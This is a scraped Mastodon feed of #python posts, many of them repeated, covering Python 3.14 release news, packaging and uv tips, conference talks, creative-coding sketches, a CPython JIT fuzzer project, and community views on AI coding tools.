https://discuss.python.org/t/removing-non-html-pdf-epub-etc-documentation-downloads/101343
@paulehoffman@infosec.exchange
Asking for an opinion from all my #python friends. The non-work Python project I'm developing has a few places where I need to find the most recent text above the current position that matches a #regex. I can either:
- Require the non-standard regex module (https://pypi.org/project/regex/) which has a REVERSE flag
- Create a "match all the things from the beginning, but then only use the one whose match.start() is before the current position
The first is clearly cleaner, but requires users to add one more module (they're already needing to add two others for different stuff in the program). The second is a tad kludgy, slower (but only by maybe a tenth of a second), but requires no additional includes.
Opinions? Strong opinions? First-hand experience with the regex module?
@danzin@mastodon.social
Sabe quem foi na #PythonCerrado2025 e apresentou uma palestra? Pedro, meu filho de 11 anos!
Tive que ajudar numa parte porque não tivemos tempo para ensaiar: o que seria uma palestra relâmpago foi promovida a palestra normal antes de ele treinar a parte que acabei apresentando.
5 minutos depois da palestra, ele tranquilão: "pai , você ainda está tremendo!".
@sadpumpkin@app.wafrn.net
an old cohost post.
print(''. join( *[
map(lambda x: a[x ]
if x in a else x,[
s for s in input()]
)for a in [dict(**
a, **b)for a, b in
zip( *list ( zip ([
dict(dict( dict(**a
,**b),**c) ,**d)for
a,b,c,d in [( {i: j
for i,j in zip(a ,a
[: :-1])}, {i.upper
():j.upper ()for i,
j in zip(a ,a[ ::
-1])}, {j :i for
i , j in zip(a,a
[ : : -1] )},{j .
upper (): i.upper
()for i,j in zip(
a, a[ : :- 1 ] ) }
) for a in input (
).split()]] )))]]))
on execution, try input:
kpfg aieo
offli
@sadpumpkin@app.wafrn.net
an old cohost post.
print(''. join( *[
map(lambda x: a[x ]
if x in a else x,[
s for s in input()]
)for a in [dict(**
a, **b)for a, b in
zip( *list ( zip ([
dict(dict( dict(**a
,**b),**c) ,**d)for
a,b,c,d in [( {i: j
for i,j in zip(a ,a
[: :-1])}, {i.upper
():j.upper ()for i,
j in zip(a ,a[ ::
-1])}, {j :i for
i , j in zip(a,a
[ : : -1] )},{j .
upper (): i.upper
()for i,j in zip(
a, a[ : :- 1 ] ) }
) for a in input (
).split()]] )))]]))
on execution, try input:
kpfg aieo
offli
@villares@pynews.com.br
WIP "Noise walkers" #OpenSimplexNoise Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_08_04
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@nrennie@fosstodon.org
I've recently started compiling a list of data science related resources that I use or recommend frequently! 📊
@villares@pynews.com.br
WIP "Noise walkers" #OpenSimplexNoise Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_08_04
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@johnbeers@mastodon.social
Anyone have suggestions for open source projects using Python that could use some junior-level assistance? I enjoy my hobby projects, but I'd like to get involved with doing something that has meaning to real users. Are smaller projects a better starting point, or would you recommend a larger one that has an existing community?
@paintgoblin@dice.camp
Some sorts will literally use #python macro / annotation / decorators rather than rethink their solutions that require eager keen evaluation.
It's me. I don't want to rethink my solution.
@mr_daemon@untrusted.website
I've pushed another significant update to my patch reporting tool: the Dashboard is now fully reactive, scrolls, and can be resized dynamically, alongside mutiple small QoL changes in logging.
@mr_daemon@untrusted.website
I've pushed another significant update to my patch reporting tool: the Dashboard is now fully reactive, scrolls, and can be resized dynamically, alongside mutiple small QoL changes in logging.
@glyph@mastodon.social · Reply to Glyph's post
Okay, so, fans of the #TwistedFramework help me out here:
I am mucking around with writing a simple new thing that, in order to have type annotations that aren't *completely* useless, needs to deal with the fact that Protocol and Factory aren't annotated.
But adding annotations makes the entire framework notice that the pattern of paired-Protocol-and-Factory subclasses are inherently LSP violations, because .protocol and .factory are writable attributes and thus invariant.
@sanjay_ankur@fosstodon.org
The #NeuroFedora team has changed how it packages software for users. We now prioritise software that cannot easily be installed from upstream forges (like PyPi) for inclusion as #rpm packages into @fedora . Software that can be easily installed is tested to ensure that it functions on all the #Python versions supported by any Fedora release.
Read more here:
https://neuroblog.fedoraproject.org/2025/08/02/packaging-changes-at-neurofedora.html
The Comp Neuro Lab has also been dropped.
#Neuroscience #ComputationalNeuroscience #FOSS #Linux #Distributions
@sanjay_ankur@fosstodon.org
The #NeuroFedora team has changed how it packages software for users. We now prioritise software that cannot easily be installed from upstream forges (like PyPi) for inclusion as #rpm packages into @fedora . Software that can be easily installed is tested to ensure that it functions on all the #Python versions supported by any Fedora release.
Read more here:
https://neuroblog.fedoraproject.org/2025/08/02/packaging-changes-at-neurofedora.html
The Comp Neuro Lab has also been dropped.
#Neuroscience #ComputationalNeuroscience #FOSS #Linux #Distributions
@Emiliagnathus@circumstances.run · Reply to Emilia Jarochowska 🇺🇦🌱's post
@tartley progress report on my experiment. I have been religiously interacting with #Python only via #uv. No installing outside of uv environments. Then I had to interact with some projects using poetry. So I also had Python installed by Poetry. Are these the same binaries or not? I haven't investigated. Uv would likely re-use the ones installed by Poetry. Does it work the other way round? Probs not. Anyways, this remains a virgin system, because I haven't had any #julialang, #Jupiter or #Quarto on it yet - they're bound to be needed at some point and then it may break the harmony. Or just someone showing up with a good ol' pipenv. But at least starting from uv seems to delay the chaos.
@pythoncerrado@pynews.com.br
🔴 AO VIVO AGORA!
“Criando Documentação Eficiente e Atraente com MkDocs-Material” com André Clímaco na #PythonCerrado2025! 🐍📄
Conheça o poder do MkDocs e do tema Material para criar documentações técnicas incríveis — com boas práticas, visual moderno e muita funcionalidade!
📺 Assista: https://www.youtube.com/watch?v=VG9QADMbtZo
@pythoncerrado@pynews.com.br
🔴 AO VIVO AGORA!
“Criando Documentação Eficiente e Atraente com MkDocs-Material” com André Clímaco na #PythonCerrado2025! 🐍📄
Conheça o poder do MkDocs e do tema Material para criar documentações técnicas incríveis — com boas práticas, visual moderno e muita funcionalidade!
📺 Assista: https://www.youtube.com/watch?v=VG9QADMbtZo
@danzin@mastodon.social
@melissawm Conheci a Camila Maia @cmaiacd, ela disse que vocês têm várias coisas em comum. Hoje ela apresenta o KeyNote da #PythonCerrado2025, mais uma pra lista de coisas que as duas já fizeram :)
Vai ser transmitida às 9h em https://www.youtube.com/@PythonCerrado.
@booyaa@hachyderm.io
TIL you can embed #python dependencies in a gist and then run it as a one-shot script using uv. In screenshot 1 I've pulled in pyfiglet to create a snazzy message. You can inline your dependencies into your script using `uv add --script <dep>`. This adds the necessary preamble as a comment (screenshot 2). I came across this tip whilst surfing Simon Willison’s gists. I've linked to Simon's more detailed blog post and the documentation in #uv. https://simonwillison.net/2024/Dec/19/one-shot-python-tools/
https://docs.astral.sh/uv/guides/scripts/#declaring-script-dependencies
@jrovu@mastodon.social
What's the best way to write / deploy a local criss-platform webapp. Here's what I want: (1) Web app backend - FastAPI/Python connects to local SQLite database, local voice synth server etc. (2) Static HTML front end interface, used the local API, (3) All of this runs in a Docker container, (4) On the operating system - MacOS & Linux - the user clicks the app,
launches the Docker container, starts the server, opens the web app (5) User doesnt need to have Docker installed #linux #python
@danzin@mastodon.social
Na #PythonCerrado2025, vendo o @ericof@pynews.com.br @ericof@fosstodon.org atrapalhar o tutorial da @cmaiacd por ser o único na sala que sabe usar vim.
@danzin@mastodon.social
Na #PythonCerrado2025, assistindo um maravilhoso tutorial da Camila Maia @cmaiacd.
Ela está debulhando o Git e o GitHub em profundidade, muito conhecimento valioso sendo passado.
@danzin@mastodon.social
Na #PythonCerrado2025, tivemos ontem um excelente tutorial do Lucas Marcondes Pavelski https://github.com/lucasmpavelski.
Aprendemos sobre #R, #tidyverse, #reticulate, várias ferramentas essenciais como #ggplot2 e #dplyr, vendo na prática como aplicá-las. Foco na ponte #Python <-> R.
Tudo novidade pra mim, vieram várias ideias interessantes de análises e plots.
@meejah@mastodon.social
fowl 25.7.0 is released.
https://pypi.org/project/fowl/25.7.0/
Extensively re-thought internal and external APIs, centered around giving each peer maximum control, while being safe by default.
There is now a usable Python + Twisted API for programmatic use: FowlCoop, fledge() and roost()
Coming next week: demo applications on top of this: "Git With Me" and "Shell With Me" for peer-to-peer git and terminal sharing (respectively)
@meejah@mastodon.social
fowl 25.7.0 is released.
https://pypi.org/project/fowl/25.7.0/
Extensively re-thought internal and external APIs, centered around giving each peer maximum control, while being safe by default.
There is now a usable Python + Twisted API for programmatic use: FowlCoop, fledge() and roost()
Coming next week: demo applications on top of this: "Git With Me" and "Shell With Me" for peer-to-peer git and terminal sharing (respectively)
@miketheman@hachyderm.io
Incident Report of the recent #PyPI Phishing Campaign
TL,DR:
• PyPI was not breached
• PyPI users were targeted with phishing emails
• A single project saw uploads with malicious code and those releases have been removed
https://blog.pypi.org/posts/2025-07-31-incident-report-phishing-attack/
@villares@pynews.com.br
A #py5 + #trimesh demo! Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_07_31
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@villares@pynews.com.br
A #py5 + #trimesh demo! Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_07_31
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@miketheman@hachyderm.io
Incident Report of the recent #PyPI Phishing Campaign
TL,DR:
• PyPI was not breached
• PyPI users were targeted with phishing emails
• A single project saw uploads with malicious code and those releases have been removed
https://blog.pypi.org/posts/2025-07-31-incident-report-phishing-attack/
@danzin@mastodon.social
Na #PythonCerrado2025, tivemos um excelente tutorial da Cecília Souza https://github.com/ceciliasilvads.
Aprendemos sobre análise de funil de conversão, muito interessante e novidade total pra mim.
@nedbat@hachyderm.io
Is it really true that there's no way to get the current value from #Python's itertools.count()? All I can do is advance it and get the next value? The repr() shows the value, but I can't get an int?
@SnoopJ@hachyderm.io
There is probably one line of #Python that I type more than any other (nontrivial) line:
`HERE = Path(__file__).parent`
This is obscenely useful for scripts or small projects but I find myself using it in projects of more appreciable size, too?
@danzin@mastodon.social
Alguém daqui vai na #PythonCerrado 🐍 amanhã, sexta e/ou sábado?
Acho que a @cmaiacd vai :)
Veja a grade em https://2025.pythoncerrado.org/grade
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
"A curated list of resources, tools, libraries, and examples for Python's Template Strings (t-strings) introduced in Python 3.14"
@ehmatthes@fosstodon.org
TIL that, as of Python 3.13, virtual environments write their own .gitignore file. It adds a single line, consisting only of `*`.
Did you know this? Are you still adding `.venv/` to your own .gitignore files?
@danzin@mastodon.social
@villares@ciberlandia.pt
This is your friendly reminder that you could be making #PaperObjects with #Python and #py5, you know?
https://github.com/villares/Paper-objects-with-Processing-and-Python/
(Mind you that GitHub images are mostly failing to load here today for some unknown reason)
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562
#Processing #CreativeCoding
@villares@ciberlandia.pt
This is your friendly reminder that you could be making #PaperObjects with #Python and #py5, you know?
https://github.com/villares/Paper-objects-with-Processing-and-Python/
(Mind you that GitHub images are mostly failing to load here today for some unknown reason)
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562
#Processing #CreativeCoding
@danzin@mastodon.social · Reply to danzin's post
Here's how lafleur works:
Starts from a corpus of seed files (generated by fusi)l. It runs each file and parses the JIT debug output to record micro ops (UOPs) and edges between them.
Then it applies mutations to these files and when a mutation results in a new UOP or edge, it adds the mutated file to the corpus.
All the while, it monitors the execution of these files for crashes.
And it's smart about which file to mutate next.
Simple, eh?
@danzin@mastodon.social
One obvious thing from fuzzing the CPython JIT with the lafleur fuzzer is that finding crashes is much lower probability than fuzzing CPython with fusil.
Whenever fusil found a crash, it would find hits for it again and again pretty quickly.
With lafleur, we only got 3 hits (2 issues) in thousands of fuzzing hours.
I'm throwing more compute at it, but maybe we'll need to improve the core ideas to get better results.
@eliocamp@mastodon.social · Reply to Elio Campitelli's post
Zen of #python: There should be one-- and preferably only one --obvious way to do it.
Reality of python: there are 20 ways of installing packages and managing environments and nothing is obvious about how to use them.
@eliocamp@mastodon.social
Hot take: #python should be put in a 5 year feature freeze until they figure out their packaging. Although it's so deeply fucked up that I don't know if there's any hope of saving it.
@glyph@mastodon.social · Reply to Glyph's post
Ahem. By which I mean to say I usually do some #python #programming #streaming on that channel, using #emacs . One of these days I will remember how actually doing self-promotion works
@adamghill@indieweb.social
New to me: https://pypi.org/project/tldextract/
"Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL).”
@adamghill@indieweb.social
New to me: https://pypi.org/project/tldextract/
"Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL).”
@coderik@mastodon.social
Great talk by @hynek , definitely worth watching: https://www.youtube.com/watch?v=IhNSINolcSM Really enjoyed it.
#python #PyconUK2025 #architecture #development #softwareengineering #software
@rich@mastodon.gamedev.place
Why does installing a new #python project always, *always* feel like i'm being hazed?😭
@gothintheshell@lgbtqia.space
New instance, so posting a new intro!
I've made it to my 40-something years old era and consider it a privilege. I'm genderfluid and omnisexual.
I'm into slow fashion, human rights, crafting, cats, music, and cult horror and sci-fi movies. My latest obsession is with snails.
A few more of my interests:
#knitting #crochet #python #SlowFashion #folklore #snail #cats #sewing #candles #CozyGames #privacy #nature #introduction #NewHere
@villares@pynews.com.br
A #py5 multi-page #PDF export example (with a side dish of #shapely). Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_07_26
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@villares@pynews.com.br
A #py5 multi-page #PDF export example (with a side dish of #shapely). Code at: https://github.com/villares/sketch-a-day/tree/main/2025/sketch_2025_07_26
More sketch-a-day: https://abav.lugaralgum.com/sketch-a-day
If you like this, support my work:
https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
https://liberapay.com/Villares
https://wise.com/pay/me/alexandrev562 #Processing #Python #py5 #CreativeCoding
@coderik@mastodon.social
Great talk by @hynek , definitely worth watching: https://www.youtube.com/watch?v=IhNSINolcSM Really enjoyed it.
#python #PyconUK2025 #architecture #development #softwareengineering #software
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
"A curated list of resources, tools, libraries, and examples for Python's Template Strings (t-strings) introduced in Python 3.14"
@hugovk@mastodon.social
🔴 Live now!
@pyconasia Charity Talks
https://www.youtube.com/watch?v=LhCFFMuGtJQ
Timetable time:
https://time.is/UTC+8
@georgically@mastodon.social
I’m honored to be giving a keynote at their first charity event. 🎤 at a very special event supporting the newly formed @pyconasia (PAO) created by leaders @iqbalabd, @kwonhan, Manabu Terada and Freilla Mae Espinola.
🎟️ Support their mission by joining the online event on July 26.
Tickets: €7 → https://events.pythonasia.org/charity-talks-h1-2025/
Let’s help the future of Python in Asia together!
#PythonAsia #AsiaPython #FOSS #python #pycon
https://mtd.pythonasia.org/@pyconasia@mtd.pythonasia.org@mtd.pythonasia.org/114828605066516743
@henryiii@fosstodon.org
We just released cibuildwheel 3.1, which builds Python 3.14/3.14t wheels by default (with yesterday's RC 1)! Also we added Android support, @pyodide 0.28 (3.13), 32-bit modern manylinux, riscv64 defaults, and beautiful new summaries! https://github.com/pypa/cibuildwheel/releases/tag/v3.1.0 #python #release
@n1k0@mamot.fr
#JeRecrute un•e ingénieur•e data/backend #Python / #PostgreSQL pour Ecobalyse, la startup d’État qui calcule combien coûtent à la planète les mer^Wtrucs qu'on achète
PS: ça va faire super malpoli/yolo mais je me casse en vacances ce soir et j'ai vraiment besoin d'un gros break donc je laisse mes adorables collègues dont @vjousse vous filer toutes les infos complémentaires dont vous auriez besoin (désolé copain cœur sur tes mentions)
@james@jamesgallagher.social
I love that @readeck has a well documented API. It means that someone like me with rudimentary enough Python skills can do stuff. By stuff I mean send my Mastodon bookmarks to a Readeck collection and also work with them in bulk (operations like marking things as read and archiving)
@danzin@mastodon.social
Reviewed the 3 PRs we got for lafleur: https://github.com/devdanzin/lafleur/pulls?q=is%3Apr
All 3 marked as "good first issue". They've clear signs of being created by or with help from AI, like tentative code ("# do this in case... ") and removing docstrings.
Merged one and gave feedback on 2, including tips on how to get AI to fix their issues.
I might get unfollows for this, but I welcome AI generated code as long as it's good enough. In fact, AI made this project viable.
@willmcgugan@mastodon.social
I blogged about efficient streaming of Markdown in the terminal.
This was part of a different post, but it was a bit of a footnote. I think it deserves its own post.
@pvergain@kolektiva.social
- https://willmcgugan.github.io/announcing-toad/ (2025-07-23, Announcing Toad - a universal UI for agentic coding in the terminal, by https://willmcgugan.github.io/, @willmcgugan)
--<--
I’m a little salty that neither Anthropic nor Google reached out to me before they released their terminal-based AI coding agents.
You see until recently I was the CEO of Textualize, a startup promoting rich applications for the terminal. Textualize didn’t make it as a company, but I take heart that we built something amazing. There is now a thriving community of folk building TUIs that I am still a part of.
So you will understand why when I finally got round to checking out Claude code and Gemini CLI, I was more interested in the terminal interface than the AI magic it was performing. And I was not impressed. Both projects suffer from jank and other glitches inherent to terminals that Textualize solved years ago.
....
I’m currently taking a year’s sabbatical. When Textualize wrapped up I genuinely thought I was sick of coding, and I would never gain be able to find joy in building things. I’m happy to be wrong about that. I still enjoy coding, and Toad feels like the perfect hobby project for my very particular set of skills. Something I can build while continuing to focus on my physical and mental health (running a startup is taxing).
So I am going to build it.
I am building it.
Here’s a quick video of Toad in its current state: https://www.youtube.com/watch?v=EKsCS54xduo
What I have in mind is a universal front-end for AI in the terminal. This includes both AI chat-bots and agentic coding. The architecture I alluded to earlier is that the front-end built with Python and Textual connects to a back-end subprocess. The back-end handles the interactions with the LLM and performs any agentic coding, while the front-end provides the user interface. The two sides communicate with each other by sending and receiving JSON over stdout and stdin.
...
Toad isn’t quite ready for a public release. It remains a tadpole for now, incubating in a private repository. But you know I’m all about FOSS, and when its ready for a public beta I will release Toad under an Open Source license.
With a bit of luck, this sabbatical needn’t eat in to my retirement fund too much. If it goes well, it may even become my full-time gig.
I will shortly invite a few tech friends and collaborators to the project. These things can’t be the work of a single individual and I am going to need feedback as I work. If you would like to be a part of that, then feel free to reach out. But please note, I would like to prioritize folk in the Open Source community who have potentially related projects.
For everyone else, I will be posting updates regularly here and on my socials (link at the bottom of the page). Expect screenshots, videos, and long form articles. Please be patient—you will be agentic toading before too long.
Looking for markdown streaming? : https://willmcgugan.github.io/streaming-markdown/ (Efficient streaming of Markdown in the terminal)
-->--
#CLI #Terminal #python #textual #WillMcGugan #Toad #markdown
@n1k0@mamot.fr
#JeRecrute un•e ingénieur•e data/backend #Python / #PostgreSQL pour Ecobalyse, la startup d’État qui calcule combien coûtent à la planète les mer^Wtrucs qu'on achète
PS: ça va faire super malpoli/yolo mais je me casse en vacances ce soir et j'ai vraiment besoin d'un gros break donc je laisse mes adorables collègues dont @vjousse vous filer toutes les infos complémentaires dont vous auriez besoin (désolé copain cœur sur tes mentions)
@pvergain@kolektiva.social
- https://willmcgugan.github.io/announcing-toad/ (2025-07-23, Announcing Toad - a universal UI for agentic coding in the terminal, by https://willmcgugan.github.io/, @willmcgugan)
--<--
I’m a little salty that neither Anthropic nor Google reached out to me before they released their terminal-based AI coding agents.
You see until recently I was the CEO of Textualize, a startup promoting rich applications for the terminal. Textualize didn’t make it as a company, but I take heart that we built something amazing. There is now a thriving community of folk building TUIs that I am still a part of.
So you will understand why when I finally got round to checking out Claude code and Gemini CLI, I was more interested in the terminal interface than the AI magic it was performing. And I was not impressed. Both projects suffer from jank and other glitches inherent to terminals that Textualize solved years ago.
....
I’m currently taking a year’s sabbatical. When Textualize wrapped up I genuinely thought I was sick of coding, and I would never gain be able to find joy in building things. I’m happy to be wrong about that. I still enjoy coding, and Toad feels like the perfect hobby project for my very particular set of skills. Something I can build while continuing to focus on my physical and mental health (running a startup is taxing).
So I am going to build it.
I am building it.
Here’s a quick video of Toad in its current state: https://www.youtube.com/watch?v=EKsCS54xduo
What I have in mind is a universal front-end for AI in the terminal. This includes both AI chat-bots and agentic coding. The architecture I alluded to earlier is that the front-end built with Python and Textual connects to a back-end subprocess. The back-end handles the interactions with the LLM and performs any agentic coding, while the front-end provides the user interface. The two sides communicate with each other by sending and receiving JSON over stdout and stdin.
...
Toad isn’t quite ready for a public release. It remains a tadpole for now, incubating in a private repository. But you know I’m all about FOSS, and when its ready for a public beta I will release Toad under an Open Source license.
With a bit of luck, this sabbatical needn’t eat in to my retirement fund too much. If it goes well, it may even become my full-time gig.
I will shortly invite a few tech friends and collaborators to the project. These things can’t be the work of a single individual and I am going to need feedback as I work. If you would like to be a part of that, then feel free to reach out. But please note, I would like to prioritize folk in the Open Source community who have potentially related projects.
For everyone else, I will be posting updates regularly here and on my socials (link at the bottom of the page). Expect screenshots, videos, and long form articles. Please be patient—you will be agentic toading before too long.
Looking for markdown streaming? : https://willmcgugan.github.io/streaming-markdown/ (Efficient streaming of Markdown in the terminal)
-->--
#CLI #Terminal #python #textual #WillMcGugan #Toad #markdown
@willmcgugan@mastodon.social
I blogged about efficient streaming of Markdown in the terminal.
This was part of a different post, but it was a bit of a footnote. I think it deserves its own post.
@henryiii@fosstodon.org
We just released cibuildwheel 3.1, which builds Python 3.14/3.14t wheels by default (with yesterday's RC 1)! Also we added Android support, @pyodide 0.28 (3.13), 32-bit modern manylinux, riscv64 defaults, and beautiful new summaries! https://github.com/pypa/cibuildwheel/releases/tag/v3.1.0 #python #release
@SnoopJ@hachyderm.io
#Python hivemind:
Is there a way to get `ruff check` *not* to treat code guarded by `sys.platform` as unreachable if the check would fail on the platform running the lint?
I am looking at adding `ruff check` to a project in the wake of a `NameError` that slipped past, but it seems to be incapable of catching this problem if it is guarded behind a platform check.
(if you reply to this to tell me to run `ruff check` on both platforms, you will be ZOTted, I mean the question the way I asked it)
@SnoopJ@hachyderm.io
#Python hivemind:
Is there a way to get `ruff check` *not* to treat code guarded by `sys.platform` as unreachable if the check would fail on the platform running the lint?
I am looking at adding `ruff check` to a project in the wake of a `NameError` that slipped past, but it seems to be incapable of catching this problem if it is guarded behind a platform check.
(if you reply to this to tell me to run `ruff check` on both platforms, you will be ZOTted, I mean the question the way I asked it)
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 release candidate 1! 🚀🐍
🫖 T-strings!
🧵 Free-threading is officially supported!
🚇 Subinterpreters in the stdlib!
🗜️ Zstandard compression!
🎨 REPL syntax highlighting and tab autocomplete!
⚠️ Better error messages!
📦 Are you a package maintainer? Prepare for 3.14 and report bugs!
🛞 No ABI changes: upload 3.14 wheels to PyPI
🥧 And much, much more!
https://discuss.python.org/t/python-3-14-release-candidate-1-is-go/99754?u=hugovk
#Python #CPython #Python314 #release
@danzin@mastodon.social
Busy day, good day: the new CPython fuzzer lafleur found its first 2 crashes this morning!
Happiness only marred by the bad job I did reducing the testcases and making the reports reproducible. Thanks Brandt Bucher and and Ken Jin for the patience! Next bug reports will be more polished and reliable.
Also, we got 3 new PRs for the fuzzer but I didn't have time to review them, will have to leave that for tomorrow.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 release candidate 1! 🚀🐍
🫖 T-strings!
🧵 Free-threading is officially supported!
🚇 Subinterpreters in the stdlib!
🗜️ Zstandard compression!
🎨 REPL syntax highlighting and tab autocomplete!
⚠️ Better error messages!
📦 Are you a package maintainer? Prepare for 3.14 and report bugs!
🛞 No ABI changes: upload 3.14 wheels to PyPI
🥧 And much, much more!
https://discuss.python.org/t/python-3-14-release-candidate-1-is-go/99754?u=hugovk
#Python #CPython #Python314 #release
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 release candidate 1! 🚀🐍
🫖 T-strings!
🧵 Free-threading is officially supported!
🚇 Subinterpreters in the stdlib!
🗜️ Zstandard compression!
🎨 REPL syntax highlighting and tab autocomplete!
⚠️ Better error messages!
📦 Are you a package maintainer? Prepare for 3.14 and report bugs!
🛞 No ABI changes: upload 3.14 wheels to PyPI
🥧 And much, much more!
https://discuss.python.org/t/python-3-14-release-candidate-1-is-go/99754?u=hugovk
#Python #CPython #Python314 #release
@SnoopJ@hachyderm.io · Reply to Glyph's post
@glyph @mitsuhiko I can tell you that in #python on Libera.chat, we have had very mixed results. AFAIK, not one of those users has become a continuing part of that community, but the things that lead most reliably to these users getting the help that they want are:
1) Avoid criticism of the chatbots. No room for persuasion generally, and flamewar is likely.
2) Much more patience is required. Choose your questions carefully, "too many" questions will lead to withdrawal. The extreme case is a user who is consulting the chatbot and the community simultaneously.
It's impossible to draw general inferences from an environment as pathological as IRC, but I would say these two points apply equally well to interpersonal interactions I have had in the local user group.
The overall impression I am left with is that the tools themselves disincentivize participation in a community, and incentivize talking to other humans only for swapping tips about tools, or as a way to get someone to "just" produce source code that fixes the tool's errors.
@thisismissem@hachyderm.io
Over the past few days in the small moments when I've been able to work I've been experimenting with porting Hasher-Matcher-Actioner from Flask to FastAPI, and I now have it mostly working with an existing database.
It's been interesting working with python because I don't work with it much, but FastAPI still feels very much like Express in terms of how things are written — lots of building your own framework essentially, instead of "here's the given path", which can be daunting.
I still need to work out Alembic and migrations, but I have it working against an existing database with the same schema. Also need to figure out building CLI tools that accompany the server, where flask has that built-in
@ThePSF@fosstodon.org
Python jumped 10%+ on the TIOBE index this month 🤩🐍📈 thanks to the entire #Python community—maintainers, educators, contributors, and users—for helping make Python what it is today!
@georgically@mastodon.social
🌍✨ EuroPython has just ended.
One issue came up again and again during community organisers open space: it’s harder to find sponsors.
Now that AI is taking the spotlight, I’m asking: Who is being left behind?
That’s what this blog post is about:
✍️ https://georgiker.com/blog/is-ai-leaving-python-community-behind/
@georgically@mastodon.social
🌍✨ EuroPython has just ended.
One issue came up again and again during community organisers open space: it’s harder to find sponsors.
Now that AI is taking the spotlight, I’m asking: Who is being left behind?
That’s what this blog post is about:
✍️ https://georgiker.com/blog/is-ai-leaving-python-community-behind/
@georgically@mastodon.social
I’m honored to be giving a keynote at their first charity event. 🎤 at a very special event supporting the newly formed @pyconasia (PAO) created by leaders @iqbalabd, @kwonhan, Manabu Terada and Freilla Mae Espinola.
🎟️ Support their mission by joining the online event on July 26.
Tickets: €7 → https://events.pythonasia.org/charity-talks-h1-2025/
Let’s help the future of Python in Asia together!
#PythonAsia #AsiaPython #FOSS #python #pycon
https://mtd.pythonasia.org/@pyconasia@mtd.pythonasia.org@mtd.pythonasia.org/114828605066516743
@georgically@mastodon.social
I’m honored to be giving a keynote at their first charity event. 🎤 at a very special event supporting the newly formed @pyconasia (PAO) created by leaders @iqbalabd, @kwonhan, Manabu Terada and Freilla Mae Espinola.
🎟️ Support their mission by joining the online event on July 26.
Tickets: €7 → https://events.pythonasia.org/charity-talks-h1-2025/
Let’s help the future of Python in Asia together!
#PythonAsia #AsiaPython #FOSS #python #pycon
https://mtd.pythonasia.org/@pyconasia@mtd.pythonasia.org@mtd.pythonasia.org/114828605066516743
@danzin@mastodon.social
Launching a new project on a Sunday night: lafleur, a CPython JIT fuzzer.
https://github.com/devdanzin/lafleur
It's a feedback driven fuzzer (using JIT debug output) with corpus prioritization and JIT-targeted AST-based mutations. Calling it "evolutionary" may be a stretch, but sounds good.
It's also a fuzzer that so far hasn't found any crashes or bugs. Still working on that ;)
If you want to understand how it works, there is a good amount of docs.
@ericof@pynews.com.br
Ótimo encontrar os amigos @ramgarlic, @osantana e @villares para curtir pizza e Vini, aprender sobre ferromodelismo, discutir história e falar sobre #python.
¡Gracias a la vida!
@treyhunner@mastodon.social
I got 21/26 on @mitsuhiko's fstrings.wtf quiz.
I spent a lot of time creating a cheat sheet and article on f-strings, so I was kicking myself after a few of them that I should have known. There were definitely a couple surprise Python features for me though!
@Sarah_Lea@techhub.social
Want to really understand how RAG, vector search & chunking work?
Then stop reading theory and build your own chatbot.
This guide shows you how to create a local PDF chatbot using:
☕ LangChain
☕ FAISS (vector DB)
☕ Mistral via Ollama
☕ Python & Streamlit
Step-by-step, from environment setup to deployment. Ideal for learning how Retrieval-Augmented Generation works in practice.
Comment “WANT” if you need the friends link to the article, as you don’t have paid Medium.
#rag #tech #Technology #chatbot #AI #ki #python #vector #langchain #datascience #DataScientist #streamlit
@treyhunner@mastodon.social
I got 21/26 on @mitsuhiko's fstrings.wtf quiz.
I spent a lot of time creating a cheat sheet and article on f-strings, so I was kicking myself after a few of them that I should have known. There were definitely a couple surprise Python features for me though!
@Sarah_Lea@techhub.social
Want to really understand how RAG, vector search & chunking work?
Then stop reading theory and build your own chatbot.
This guide shows you how to create a local PDF chatbot using:
☕ LangChain
☕ FAISS (vector DB)
☕ Mistral via Ollama
☕ Python & Streamlit
Step-by-step, from environment setup to deployment. Ideal for learning how Retrieval-Augmented Generation works in practice.
Comment “WANT” if you need the friends link to the article, as you don’t have paid Medium.
#rag #tech #Technology #chatbot #AI #ki #python #vector #langchain #datascience #DataScientist #streamlit
@ericof@pynews.com.br
Ótimo encontrar os amigos @ramgarlic, @osantana e @villares para curtir pizza e Vini, aprender sobre ferromodelismo, discutir história e falar sobre #python.
